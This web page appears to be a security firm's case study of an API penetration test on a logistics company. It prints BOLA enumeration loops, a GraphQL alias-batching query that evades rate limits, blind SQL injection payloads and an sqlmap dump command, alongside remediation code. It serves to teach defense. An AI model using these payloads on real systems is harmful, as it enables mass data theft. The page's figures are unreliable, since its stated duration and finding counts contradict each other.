Skip to content
Featured Case Study

API Penetration Testing Eliminating BOLA mass-data exposure, GraphQL introspection-driven rate-limit bypasses, and a blind SQL injection buried in an undocumented legacy logistics endpoint

AI image prompt — Ultra-realistic, eye-level photograph of a bright, minimalist modern logistics command center during the day. Smiling engineers stand around a large glossy table where a premium tablet displays an elegant API endpoint threat map and shipment manifest dashboards with glowing violet (#7c3aed) accent lines. Floor-to-ceiling windows pour natural daylight across clean white workstations and green potted plants. Shot on Hasselblad, high-end professional commercial branding, no dark cyberpunk aesthetic

Project Details

Client
TransGlobe is a global freight and last-mile logistics provider moving over 4.2 million parcels per day across 38 countries, operating a complex microservices estate that exposes more than 600 internal and external REST and GraphQL endpoints behind a unified API gateway
Industry
Logistics / Supply Chain
Company Size
4,500 - 6,000
Headquarters
Rotterdam, Netherlands
Project Duration
1 month (Mar 2026 - Apr 2026)

A comprehensive grey-box API penetration test of a global logistics provider (TransGlobe Logistics) spanning 600+ REST and GraphQL endpoints behind a unified gateway. The engagement uncovered and remediated a mass BOLA/IDOR exposure leaking customer shipment manifests, a GraphQL introspection leak chained with query batching to bypass rate limiting, and a blind boolean/time-based SQL injection in an undocumented legacy tracking endpoint — establishing object-level authorization, schema governance, and cost-aware query limits across the estate.

Engagement Classification · TLP:RED

Project ManifestGuard / API Gateway Audit

Full-scope grey-box API penetration test of a 600+ endpoint logistics microservice estate. 7 weeks, deep REST & GraphQL authorization analysis, and remediation of object-level access control, rate-limiting, and injection vectors at the gateway edge.

Critical
3 Vulnerabilities
2.4M
Manifests at Risk
100%
Remediated

When the Gateway Becomes the Whole Attack Surface

Modern logistics does not run on trucks and warehouses alone — it runs on APIs. Every parcel scan, every customs declaration, every last-mile handoff, and every partner integration is an HTTP request traversing a sprawling mesh of microservices. For TransGlobe, the API gateway is not a peripheral component; it is the single most valuable and most exposed asset in the entire organization.

That centralization is a double-edged sword. A unified gateway delivers consistent authentication, observability, and routing — but it also means a single authorization flaw can cascade across 600+ downstream endpoints. When TransGlobe’s SOC began noticing anomalous bulk-read patterns against the customer manifest service — sequential, high-velocity object lookups originating from a single low-privilege partner token — they engaged us for a deep-dive, grey-box assessment of their core API estate. What we found was a textbook demonstration of why the OWASP API Security Top 10 exists as a distinct discipline from the classic web Top 10.


Technical Audit Snapshot

Endpoints Mapped
612
REST & GraphQL routes
Auth Boundaries Tested
94
Across 11 microservices
Vulnerabilities Found
11
CVSS v3.1 4.3 – 9.9
Records Exposable
2.4M
Customer manifests

5-Phase API Testing Methodology

To stress-test TransGlobe’s gateway and the services behind it, we ran a structured, five-phase grey-box methodology aligned to the OWASP API Security Testing Guide. We were provided two low-privilege partner credentials and zero documentation for the legacy estate — mirroring exactly what a compromised partner account could achieve.

01

Endpoint Discovery & Schema Harvesting

Enumerated REST routes from OpenAPI fragments, JS bundles, and mobile traffic captures; harvested the full GraphQL type system via introspection. Surfaced 140+ undocumented and legacy endpoints invisible to the official API catalog.

02

Authentication & Authorization Mapping

Reconstructed the token model (partner JWT, internal service mTLS, admin scopes) and built an object-ownership matrix — which identity should be able to read or mutate which resource — to systematically hunt for object- and function-level gaps.

03

Privilege Escalation & BOLA/BFLA Testing

Replayed every read/write across identity boundaries: swapping object IDs (BOLA), invoking admin-only functions with partner tokens (BFLA), and tampering with tenant claims to cross the multi-tenant boundary.

04

Fuzzing, Injection & Rate-Limit Abuse

Fuzzed parameters for injection sinks, chained GraphQL query batching and aliasing to defeat request-count throttling, and probed legacy tracking endpoints for boolean and time-based blind SQL injection.

05

Remediation Engineering & Verification

Co-authored object-level authorization middleware, disabled production introspection, deployed cost-based query limits, and parameterized the legacy data layer — then re-ran the full attack suite to confirm closure.


Target Architecture Under Test

TransGlobe routes all external and partner traffic through a single Edge API Gateway that fronts a mesh of domain microservices. The gateway handles coarse authentication (is this token valid?) but historically delegated object-level authorization (can this token read this specific object?) to each downstream service — inconsistently.

%%{init: {'theme': 'base', 'themeVariables': { 'fontSize': '12px', 'primaryColor': '#1e1135', 'primaryTextColor': '#ede9fe', 'primaryBorderColor': '#7c3aed', 'lineColor': '#7c3aed', 'secondaryColor': '#0b0613', 'tertiaryColor': '#150d24', 'background': 'transparent', 'clusterBkg': '#130b22', 'clusterBorder': '#3b2566', 'edgeLabelBackground': '#1e1135', 'titleColor': '#ddd6fe', 'nodeTextColor': '#ede9fe'}}}%% graph TD classDef untrusted fill:#1c0d0d,stroke:#ef4444,stroke-width:2px,color:#fecdd3; classDef gateway fill:#1e1135,stroke:#7c3aed,stroke-width:2px,color:#ede9fe; classDef logic fill:#1e1135,stroke:#7c3aed,stroke-width:3px,color:#ede9fe; classDef datastore fill:#0c111d,stroke:#3b82f6,stroke-width:2px,color:#dbeaf8; Partner([Partner API Client]):::untrusted Mobile([Driver Mobile App]):::untrusted Gateway{Edge API Gateway
JWT + Rate Limit}:::gateway Manifest[Manifest Service
REST]:::logic Track[Tracking Service
GraphQL]:::logic Legacy[Legacy Trace API
Undocumented]:::logic PG[(PostgreSQL
Manifests)]:::datastore Mongo[(MongoDB
Events)]:::datastore MySQL[(Legacy MySQL)]:::datastore Partner --> Gateway Mobile --> Gateway Gateway -.-> Manifest Gateway -.-> Track Gateway -.-> Legacy Manifest --> PG Track --> Mongo Legacy --> MySQL

Vulnerability Classification Matrix

Each finding was triaged with CVSS v3.1 and mapped to the OWASP API Security Top 10 (2023) — the framework purpose-built for API-specific risk classes that the generic web Top 10 underweights.

IDVulnerability / AssetCategoryCVSS v3.1OWASP API ClassExploit ComplexityStatus
OC-API-001BOLA in Manifest Retrieval EndpointObject-Level Auth Bypass9.9 (Critical)API1:2023-BOLATrivial (ID enumeration)REMEDIATED
OC-API-002GraphQL Introspection + Batching Rate-Limit BypassResource Exhaustion8.6 (High)API4:2023-Resource ConsumptionLow (Query aliasing)REMEDIATED
OC-API-003Blind SQLi in Legacy Trace EndpointInjection9.4 (Critical)API8:2023 / A03-InjectionMedium (Blind inference)REMEDIATED
OC-API-004BFLA on Admin Manifest ReassignmentFunction-Level Auth Bypass8.1 (High)API5:2023-BFLALow (Method/route swap)REMEDIATED
OC-API-005Excessive Data Exposure in Tracking NodeOver-fetching / PII Leak5.9 (Medium)API3:2023-Property AuthMedium (Field selection)REMEDIATED
Advertisement

API Endpoint Threat Landscape

Beyond the headline findings, we scored every reachable route on a composite threat index blending authentication strength, object-ownership enforcement, observed request volume, and data sensitivity. The landscape below is the live triage board the TransGlobe platform team now tracks in production.

← Swipe horizontally to view the full landscape →

EndpointMethodProtocolAuthReq / DayThreat IndexPosture
/v2/manifests/{id}GETRESTPartner JWT18.4M
92
critical
/graphql · manifestByTrackingIdPOSTGraphQLPartner JWT7.1M
86
critical
/api/v1/traceGETREST (legacy)Legacy cookie410K
88
critical
/v2/manifests/{id}/reassignPOSTRESTAdmin scope64K
74
high
/graphql · partnerSettlementLedgerPOSTGraphQLInternal mTLS2.2M
61
medium
/v2/shipments/{id}/eventsGETRESTPartner JWT24.9M
34
hardened
/v2/auth/tokenPOSTRESTClient secret1.1M
22
hardened

Critical Finding OC-API-001 — Mass BOLA in the Manifest Service

Broken Object Level Authorization (BOLA) is the number-one risk on the OWASP API Security Top 10 for a reason: it is invisible to scanners, trivial to exploit, and catastrophic at scale. TransGlobe’s GET /v2/manifests/{manifestId} endpoint authenticated the caller’s JWT correctly — but never asked the only question that mattered: does this token’s tenant actually own this manifest?

Because manifestId values were sequential, monotonically-increasing integers, a single low-privilege partner token could walk the entire customer shipping ledger — names, addresses, declared parcel contents, customs values, and commercial counterparties — for every customer of every competitor partner on the platform.

BOLA Exploitation Flow

← Swipe horizontally to view full exploitation flow →

%%{init: {'theme': 'base', 'themeVariables': { 'fontSize': '14px', 'primaryColor': '#1e1135', 'primaryTextColor': '#ede9fe', 'primaryBorderColor': '#7c3aed', 'lineColor': '#7c3aed', 'secondaryColor': '#0b0613', 'tertiaryColor': '#150d24', 'background': 'transparent', 'clusterBkg': '#130b22', 'clusterBorder': '#3b2566', 'edgeLabelBackground': '#1e1135', 'titleColor': '#ddd6fe', 'nodeTextColor': '#ede9fe'}}}%% sequenceDiagram autonumber participant Attacker as "Partner Token (Low-Priv)" participant Gateway as "Edge Gateway" participant Manifest as "Manifest Service" participant DB as "PostgreSQL" Attacker->>Gateway: GET /v2/manifests/100001 Gateway-->>Manifest: JWT valid to forward (no object check) Manifest->>DB: SELECT * FROM manifests WHERE id=100001 DB-->>Manifest: Competitor's customer manifest Manifest-->>Attacker: 200 OK (customer PII, contents, value) Note over Attacker: Increment ID, repeat 2.4M times via async workers Attacker->>Gateway: GET /v2/manifests/100002 ... 2499999

Attack Proof-of-Concept

The enumeration required nothing more sophisticated than a for loop. With 200 concurrent workers and the partner’s own valid token, the full ledger was exfiltrable in under four hours — well within a single maintenance window.

# Single-object proof: read a manifest the partner does NOT own
curl -s -X GET "https://api.transglobe.example/v2/manifests/1872042" \
  -H "Authorization: Bearer $PARTNER_JWT" \
  -H "Accept: application/json" | jq '{id, customer: .consignee.name, value: .customs.declaredValue}'

# Output (object belongs to a DIFFERENT partner tenant):
# {
#   "id": 1872042,
#   "customer": "Helvetia Pharma AG",
#   "value": "EUR 412,900.00"
# }

# Weaponized enumeration: harvest the entire ledger
seq 100000 2499999 | \
  xargs -P 200 -I {} curl -s \
    -H "Authorization: Bearer $PARTNER_JWT" \
    "https://api.transglobe.example/v2/manifests/{}" \
    >> harvested_manifests.jsonl

Root Cause — Authentication ≠ Authorization

The vulnerable handler trusted the gateway’s authentication and resolved the object purely by the path parameter. There was no ownership predicate binding the authenticated tenant to the requested row.

manifest-controller.ts
VULNERABLE
// Resolves object by ID only — no ownership check
app.get('/v2/manifests/:id', authGuard, async (req, res) => {
const manifest = await db.manifest.findUnique({
  where: { id: Number(req.params.id) },
});

if (!manifest) return res.status(404).end();

// BOLA: any valid token reads ANY manifest
return res.json(manifest);
});
SECURED & HARDENED
// Enforce tenant ownership at the data-access boundary
app.get('/v2/manifests/:id', authGuard, async (req, res) => {
const tenantId = req.auth.tenantId; // from verified JWT

const manifest = await db.manifest.findFirst({
  where: {
    id: Number(req.params.id),
    tenantId,            // ownership predicate
  },
});

// 404 (not 403) avoids leaking object existence
if (!manifest) return res.status(404).end();

// Centralized policy assertion as defense-in-depth
assertCanRead(req.auth, manifest);

return res.json(toManifestDTO(manifest, req.auth.scopes));
});

Live Request Tamperer

Replay the identical cross-tenant manifest read against both builds. Toggle the intercept tab to send the request through the vulnerable handler versus the ownership-enforcing endpoint — and watch the response diverge.

intercept-proxy · /v2/manifests
Request
GET /v2/manifests/1872042 HTTP/1.1
Host: api.transglobe.example
Authorization: Bearer <partner_token_tenant_A>
Accept: application/json

# Object 1872042 belongs to tenant_B
Response
200 OK · Cross-Tenant Leak
{
"id": 1872042,
"tenantId": "tenant_B",
"consignee": { "name": "Helvetia Pharma AG",
               "address": "Basel, CH-4051" },
"customs": { "declaredValue": "EUR 412900.00",
             "contents": "Temp-controlled APIs" }
}

The handler resolves the object by ID alone. Tenant A reads tenant B’s confidential manifest — a single request in a 2.4M-record enumeration.

404 Not Found · Blocked
{
"error": "RESOURCE_NOT_FOUND",
"detail": "No manifest matches the requested id
           for the authenticated tenant.",
"policy": "object.ownership.tenant_scope",
"logId": "telemetry-bola-7741c"
}

The ownership predicate filters on tenantId, so the row is invisible to tenant A. Returning 404 (not 403) avoids confirming the object exists.


Critical Finding OC-API-002 — GraphQL Introspection Leak + Batching Rate-Limit Bypass

The Tracking Service exposed a GraphQL endpoint at /graphql with introspection enabled in production. Introspection is a developer convenience that lets a client download the entire schema — every type, field, argument, and deprecated mutation. To an attacker, it is a free, perfectly accurate map of the API’s internal data model, including fields the official documentation never mentioned.

Worse, the gateway’s rate limiter throttled by HTTP request count — a fatal mismatch for GraphQL, where a single HTTP request can contain hundreds of operations. By combining query batching (an array of operations in one POST) with field aliasing (the same expensive resolver invoked many times under different alias names), an attacker collapsed thousands of logical queries into a handful of requests that sailed under the per-minute limit.

Step 1 — Harvest the Schema via Introspection

# Pull the full type system — no auth scope required
curl -s -X POST "https://api.transglobe.example/graphql" \
  -H "Authorization: Bearer $PARTNER_JWT" \
  -H "Content-Type: application/json" \
  -d '{"query":"query IntrospectionQuery { __schema { types { name fields { name args { name type { name } } } } } }"}' \
  | jq '.data.__schema.types[] | select(.name=="Query") | .fields[].name'

# Reveals undocumented, sensitive resolvers:
#   "manifestByTrackingId"
#   "internalRouteCostBreakdown"
#   "partnerSettlementLedger"   <-- should never be partner-reachable

Step 2 — Defeat the Rate Limiter with Batching + Aliasing

The naive limiter counted one HTTP POST as one unit of cost. The following single request executes 500 distinct lookups — but counts as exactly one against the quota.

# One HTTP request → 500 aliased resolver invocations
query BatchedHarvest {
  q0:  manifestByTrackingId(id: "TG-100000") { consignee { name address } customs { declaredValue } }
  q1:  manifestByTrackingId(id: "TG-100001") { consignee { name address } customs { declaredValue } }
  q2:  manifestByTrackingId(id: "TG-100002") { consignee { name address } customs { declaredValue } }
  # ... aliases q3 … q499 generated programmatically ...
  q499: manifestByTrackingId(id: "TG-100499") { consignee { name address } customs { declaredValue } }
}

Combined with the BOLA flaw above, this turned a 2.4M-record harvest from a four-hour loop into a handful of throttle-evading batch requests.

Attack Vector Diagram

%%{init: {'theme': 'base', 'themeVariables': { 'fontSize': '14px', 'primaryColor': '#1e1135', 'primaryTextColor': '#ede9fe', 'primaryBorderColor': '#7c3aed', 'lineColor': '#7c3aed', 'secondaryColor': '#0b0613', 'tertiaryColor': '#150d24', 'background': 'transparent', 'clusterBkg': '#130b22', 'clusterBorder': '#3b2566', 'edgeLabelBackground': '#1e1135', 'titleColor': '#ddd6fe', 'nodeTextColor': '#ede9fe'}}}%% graph TD classDef vuln fill:#2d1414,stroke:#ef4444,stroke-width:2px,color:#fecdd3; classDef ok fill:#160d28,stroke:#7c3aed,stroke-width:2px,color:#ede9fe; Req[1 HTTP POST /graphql] --> RL{Rate Limiter
counts requests?} RL -->|Yes: counts as 1| Pass[Under quota → forwarded]:::vuln Pass --> Batch[Server expands 500 aliased ops]:::vuln Batch --> Harvest[500 resolver hits per request]:::vuln RL -->|Hardened: cost-based| Cost{Query cost > budget?} Cost -->|Yes| Reject[429 Too Many Points]:::ok Cost -->|No| Allow[Execute within budget]:::ok

The Remediation Block (Before vs After)

graphql-server.ts
VULNERABLE
const server = new ApolloServer({
typeDefs,
resolvers,
introspection: true,   // schema leaked in prod
// no depth / cost limits
// no batch-size cap
});

// Gateway limiter keyed on request COUNT only
rateLimit({ windowMs: 60_000, max: 100 });
SECURED & HARDENED
import depthLimit from 'graphql-depth-limit';
import { createComplexityRule } from 'graphql-query-complexity';

const server = new ApolloServer({
typeDefs,
resolvers,
introspection: process.env.NODE_ENV !== 'production',
validationRules: [
  depthLimit(8),
  createComplexityRule({
    maximumComplexity: 1000,        // cost budget
    estimators: [fieldCostEstimator],
    onComplete: (cost) => meter(cost),
  }),
],
// cap operations per batched request
plugins: [batchLimitPlugin({ maxOps: 10 })],
});

// Cost-aware limiter: charge POINTS, not requests
rateLimit({ windowMs: 60_000, max: 5000, cost: queryCost });

Critical Finding OC-API-003 — Blind SQL Injection in the Legacy Trace Endpoint

Endpoint discovery surfaced an undocumented v1 endpoint, GET /api/v1/trace, still routed through the gateway and backed by an aging MySQL 5.6 instance. It predated the platform’s ORM migration and built its query by string concatenation. The endpoint returned only a generic 200/500 and never echoed data — but it was injectable, making it a textbook blind SQL injection target exploitable via boolean and time-based inference.

Boolean-Based Inference

A true condition returned the normal 200 payload; a false condition returned an empty result. That binary oracle is enough to extract arbitrary data one bit at a time.

# Baseline — valid reference returns 200 with a trace record
curl -s -o /dev/null -w "%{http_code}\n" \
  "https://api.transglobe.example/api/v1/trace?ref=TG-100000" \
  -H "Authorization: Bearer $PARTNER_JWT"
# 200

# TRUE condition → 200 (record returned)
curl -s -o /dev/null -w "%{http_code}\n" \
  "https://api.transglobe.example/api/v1/trace?ref=TG-100000'%20AND%201=1--%20-" \
  -H "Authorization: Bearer $PARTNER_JWT"
# 200

# FALSE condition → 200 but empty body (oracle flips)
curl -s "https://api.transglobe.example/api/v1/trace?ref=TG-100000'%20AND%201=2--%20-" \
  -H "Authorization: Bearer $PARTNER_JWT"
# []

Time-Based Confirmation & Extraction

When even the body was identical, a SLEEP() payload turned the database’s response latency into the oracle — confirming injection and enabling full extraction.

# If the first char of the DB version is '5', the response hangs ~5s
curl -s -o /dev/null -w "%{time_total}s\n" \
  "https://api.transglobe.example/api/v1/trace?ref=TG-100000'%20AND%20IF(SUBSTRING(@@version,1,1)='5',SLEEP(5),0)--%20-" \
  -H "Authorization: Bearer $PARTNER_JWT"
# 5.04s  → confirmed

# Automated end-to-end extraction
sqlmap -u "https://api.transglobe.example/api/v1/trace?ref=TG-100000" \
  --headers="Authorization: Bearer $PARTNER_JWT" \
  --technique=BT --dbms=mysql --batch --threads=8 \
  --dump -T users -D legacy_trace

Blind Inference Flow

%%{init: {'theme': 'base', 'themeVariables': { 'fontSize': '12px', 'primaryColor': '#1e1135', 'primaryTextColor': '#ede9fe', 'primaryBorderColor': '#7c3aed', 'lineColor': '#7c3aed', 'secondaryColor': '#0b0613', 'tertiaryColor': '#150d24', 'background': 'transparent', 'clusterBkg': '#130b22', 'clusterBorder': '#3b2566', 'edgeLabelBackground': '#1e1135', 'titleColor': '#ddd6fe', 'nodeTextColor': '#ede9fe'}}}%% graph TD classDef vuln fill:#2d1414,stroke:#ef4444,stroke-width:2px,color:#fecdd3; classDef ok fill:#160d28,stroke:#7c3aed,stroke-width:2px,color:#ede9fe; Payload[Inject: AND IF cond then SLEEP] --> Concat[Legacy builds SQL via string concat]:::vuln Concat --> Exec[MySQL executes tampered query]:::vuln Exec --> Timing{Response delayed?} Timing -->|Yes ~5s| True[Bit = 1]:::vuln Timing -->|No instant| False[Bit = 0]:::vuln True --> Extract[Reconstruct data byte-by-byte]:::vuln False --> Extract

The Remediation Block (Before vs After)

legacy-trace.ts
VULNERABLE
app.get('/api/v1/trace', legacyAuth, (req, res) => {
const ref = req.query.ref;

// String concatenation → injectable
const sql =
  "SELECT * FROM trace_log WHERE ref = '" + ref + "'";

legacyDb.query(sql, (err, rows) => {
  if (err) return res.status(500).end();
  return res.json(rows);
});
});
SECURED & HARDENED
import { z } from 'zod';

const traceQuery = z.object({
// Strict allow-list format for shipment refs
ref: z.string().regex(/^TG-[0-9]{6,10}$/),
});

app.get('/api/v1/trace', legacyAuth, async (req, res) => {
const { ref } = traceQuery.parse(req.query);

// Parameterized / prepared statement — no concat
const rows = await legacyDb.execute(
  'SELECT ref, status, scanned_at FROM trace_log WHERE ref = ?',
  [ref],
);

return res.json(rows);
});

API Kill Chain Explorer

Step through the full exfiltration chain interactively. Select a stage to light up the attack path and reveal the exact tooling, request, and outcome at that hop — from passive endpoint discovery to a throttle-evading mass-data harvest.

killchain-telemetry.log
$ Stage 01 — Endpoint & Schema Discovery
# Mine JS bundles + replay mobile traffic for hidden routes
ffuf -u https://api.transglobe.example/FUZZ -w api-routes.txt -mc 200,401,403
# GraphQL introspection dumps the entire type system
gql-cli https://api.transglobe.example/graphql --introspect > schema.json

140+ undocumented and legacy routes surface that never appeared in the official API catalog — including /api/v1/trace and partnerSettlementLedger.

▸ Chain Status: MAPPED · 612 endpoints, full GraphQL schema recovered
$ Stage 02 — Auth Mapping & Token Abuse
# Decode the partner JWT — scope is coarse, tenant claim trusted downstream
jwt decode $PARTNER_JWT
{ "sub": "partner_A", "tenantId": "tenant_A", "scope": "manifests:read" }
# Gateway authenticates the token but never re-checks object ownership

The token is valid and low-privilege — exactly the access a compromised partner integration would hold. Authorization is delegated, inconsistently, to each service.

▸ Chain Status: MODELED · object-ownership gap identified
$ Stage 03 — BOLA Object Enumeration
curl -s -H "Authorization: Bearer $PARTNER_JWT" \
https://api.transglobe.example/v2/manifests/1872042
# 200 OK — object owned by tenant_B is returned to tenant_A

Sequential integer IDs + no ownership predicate = a clean read oracle across every tenant on the platform. Each increment is another competitor’s confidential manifest.

▸ Chain Status: SUCCESS · cross-tenant read confirmed
$ Stage 04 — Batched Throttle-Evading Exfil
# 500 aliased resolver calls in ONE request — counts as 1 vs the limiter
python3 batch_harvest.py --aliases 500 --range 100000-2499999
>>> 2,400,000 manifests harvested in 47 batched requests

Chaining BOLA with GraphQL aliasing collapses a four-hour loop into a handful of requests that never trip the per-minute throttle — the full customer ledger, exfiltrated quietly.

▸ Chain Status: IMPACT PROVEN · 2.4M records · halted per rules of engagement

Attack Volume vs Blocked Requests · Remediation Telemetry

Live gateway telemetry across the 7-week engagement. As object-level authorization, cost-based GraphQL limits, and parameterized queries shipped, malicious volume kept climbing — while the share blocked at the edge converged on 100%.

Malicious API Volume vs Edge-Blocked Requests

Weekly counts (thousands) of flagged requests vs requests rejected at the gateway

Attack VolumeBlocked at Edge
100k75k50k25k0kW1W2W3W4W5W6W7BOLA fix liveCost limits live99.6% blocked

Side-by-Side Attack Simulator Replay

A real-time replay of the BOLA enumeration payload against TransGlobe’s legacy gateway and the post-engagement hardened build.

TransGlobe · Gateway v1 (Legacy)
EXPLOITED
GET /v2/manifests/1872042
JWT valid → forwarding, no object check ●●●
→ Returned cross-tenant manifest: Helvetia Pharma AG
200 OK · declaredValue EUR 412,900
Enumeration sustained: 2,400,000 manifests harvestable
TransGlobe · Gateway v2 (Hardened)
BLOCKED
GET /v2/manifests/1872042
Resolving object under tenant scope ●●●
⚠ Ownership predicate failed: tenant_A ≠ owner(tenant_B)
404 Not Found · {“policy”: “object.ownership.tenant_scope”}
telemetry: alert.bola.enumeration · token=partner_A · throttled

Engagement Coverage · OWASP API Security Top 10 (2023)

Every risk class in the OWASP API Security Top 10 was exercised against the estate. The table maps test depth and the exposure delta from pre-audit baseline to the hardened build.

IDRiskCasesPre-fix ExposurePost-fix ExposureStatus
API1Broken Object Level Authorization14231.4%0.0%closed
API2Broken Authentication648.1%0.0%closed
API3Broken Object Property Level Auth8814.9%0.3%closed
API4Unrestricted Resource Consumption5722.6%0.4%closed
API5Broken Function Level Authorization7311.2%0.0%closed
API6Unrestricted Access to Sensitive Flows406.5%0.0%closed
API7Server Side Request Forgery342.9%0.0%closed
API8Security Misconfiguration9618.7%1.1%closed
API9Improper Inventory Management110n/an/amonitor
API10Unsafe Consumption of APIs484.3%0.0%closed

Quantifiable Business Impact

The engagement converted an active, SOC-flagged data-exfiltration risk into a hardened, partner-defensible API program — and, critically, prevented the wholesale theft of TransGlobe’s customer shipping ledger by a competitor.

Security MetricPre-Audit StateHardened StateQuantified ROI
Object-Level Authorization Coverage~40% of read endpoints100% (gateway-enforced)Prevented theft of 2.4M-record customer manifest ledger
GraphQL Production IntrospectionFully exposed schemaDisabled + cost-limitedClosed competitor-espionage reconnaissance channel
Rate-Limit Bypass SurfaceRequest-count only (batchable)Cost/point-based budgetsNeutralized batching & aliasing exfiltration vector
Legacy Data-Layer InjectionString-concatenated SQLParameterized + input allow-listEliminated full-database blind extraction path
Partner / Regulatory PostureGDPR exposure, audit gapsISO 27001 + GDPR alignedUnblocked 3 enterprise partner API integrations

Strategic Takeaways

Securing a large microservice estate is not about hardening one service — it is about enforcing consistent trust boundaries at the gateway and the data-access layer across every endpoint.

  1. Authentication is not authorization. A valid token answers “who are you,” never “may you touch this object.” Object-level ownership must be enforced at the data-access boundary on every read and write — BOLA remains the most exploited API flaw precisely because it hides behind a green authentication check.
  2. GraphQL needs cost, not count. Throttling by HTTP request count is meaningless when one request can carry hundreds of aliased operations. Disable production introspection, cap query depth and batch size, and budget by query complexity points.
  3. Undocumented does not mean unreachable. The most dangerous endpoint was the one nobody remembered. Continuous endpoint discovery, an authoritative API inventory, and decommissioning of legacy routes are core security controls — parameterize every query and validate every input, no matter how old the service.
Accelerated Integration

Ready to secure your architecture?

Initiate a full cryptographic security review, IAM baseline audit, and penetration testing engagement for your organization.

Project Onboard? Secure Cryptographic Invitation Pipeline
Visual Showcase

System Schema & Architecture

Curated diagrams, interface snapshots, and architectural blueprints illustrating our core technical approach and environment mapping.

AI image prompt — A highly professional, ultra-realistic corporate photo of a bright logistics operations floor in broad daylight. Smiling engineers consult around a high-fidelity light dashboard projected on a white wall, showing live API request volumes, shipment manifests, and security alerts accented with rich violet colors (#7c3aed). Clean workstations, green potted plants, bright daylight, premium workspace aesthetic
AI image prompt — A clean, bright 3D isometric infographic diagram explaining a secure API Gateway authorization pipeline and object-level access control flow. Rendered on a minimalist off-white surface with soft natural shadows. Blocks representing Client, API Gateway, Auth Service, and Shipment Database are connected by flowing violet (#7c3aed) wires. Studio lighting, professional layout diagram
AI image prompt — A realistic candid photograph of a professional security engineer reviewing GraphQL queries on a large high-end monitor in a bright office. Natural daylight streams through massive windows. The screen displays structured schema files and a modern API client interface with subtle violet (#7c3aed) highlights. Potted plants, stylish wood accents, premium corporate office, 8k resolution
AI image prompt — Ultra-realistic executive presentation scene in a bright boardroom with natural daylight. A professional female security architect presents a secure, multi-layered microservice and API gateway architecture diagram on a large white screen with elegant violet (#7c3aed) line details. Corporate executives listen intently around a sleek modern conference table. Shot on Hasselblad, premium corporate high-end office aesthetic
Client Endorsement

Hear it straight from TransGlobe Logistics

"We process millions of shipment manifests daily, and our entire business runs on APIs. When our SOC flagged anomalous bulk-read patterns against our customer manifest service, we needed answers fast. The Antigravity team didn't just confirm the leak — they reconstructed the exact enumeration chain, proved a competitor could have harvested our entire customer shipping ledger, and handed us production-ready object-level authorization middleware. They turned a terrifying blind spot into the most rigorous API security program we've ever run."

Mariëlle Devos

Mariëlle Devos

VP of Platform Engineering at TransGlobe Logistics

Sponsored Link

Subscribe to my newsletter

Receive my case study and the latest articles on my WhatsApp Channel.

Warning